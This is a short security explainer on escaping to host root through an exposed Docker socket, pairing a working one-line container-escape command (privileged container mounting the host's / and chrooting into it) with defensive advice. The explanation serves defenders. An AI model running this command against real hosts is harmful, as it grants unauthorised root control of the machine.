Exposed Docker socket: host root in one line

The Docker daemon runs as root and listens on /var/run/docker.sock. Whoever can write to that socket can create containers that control the host.

The abuse

If the socket is mounted inside a container (common in CI), you launch a new privileged container that mounts the host's /:

docker -H unix:///var/run/docker.sock run -v /:/host --privileged \
  -it alpine chroot /host sh   # you are root on the host

Exposing the socket over TCP without TLS/mutual auth is worse still: remote root for anyone who reaches it.

Defence

Do not mount the docker socket in containers; if a CI needs it, use rootless solutions or a socket proxy with filtered permissions. Never expose the API over TCP without TLS and client certs. Prefer rootless runtimes (Podman) and sysbox.